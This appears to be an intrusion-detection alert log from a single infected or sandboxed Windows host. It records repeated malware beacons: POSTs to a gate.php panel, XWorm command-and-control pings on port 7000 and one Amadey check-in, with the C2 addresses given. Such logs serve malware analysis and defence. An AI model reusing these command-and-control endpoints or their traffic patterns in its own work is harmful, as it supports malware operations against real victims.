2024-12-14T15:01:07.678873+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:07.678873+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:07.678873+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:18.459284+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:18.459284+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:18.590809+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50422	185.215.113.43	80	TCP
2024-12-14T15:01:19.184735+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:19.184735+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:19.184735+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:24.313258+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:24.313258+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:24.745871+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:24.745871+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:24.745871+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:48.777683+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:48.777683+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:01:49.077574+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:49.077574+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:49.077574+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:54.328188+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:54.328188+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:54.747927+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:54.747927+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:54.747927+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:18.319964+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:18.319964+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:19.667353+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:19.667353+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:19.667353+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:24.361445+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:24.361445+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:25.569551+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:25.569551+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:25.569551+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50491	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50491	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50491	185.81.68.147	80	TCP
2024-12-14T15:02:33.302983+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:33.302983+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:33.302983+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:48.477726+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:48.477726+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:02:48.489294+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:48.489294+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:48.489294+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50508	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50508	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50508	185.81.68.147	80	TCP
2024-12-14T15:02:52.155059+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:52.155059+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:52.155059+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:54.373573+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:54.373573+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:55.809143+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:55.809143+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:55.809143+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:57.774626+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50516	185.81.68.147	80	TCP
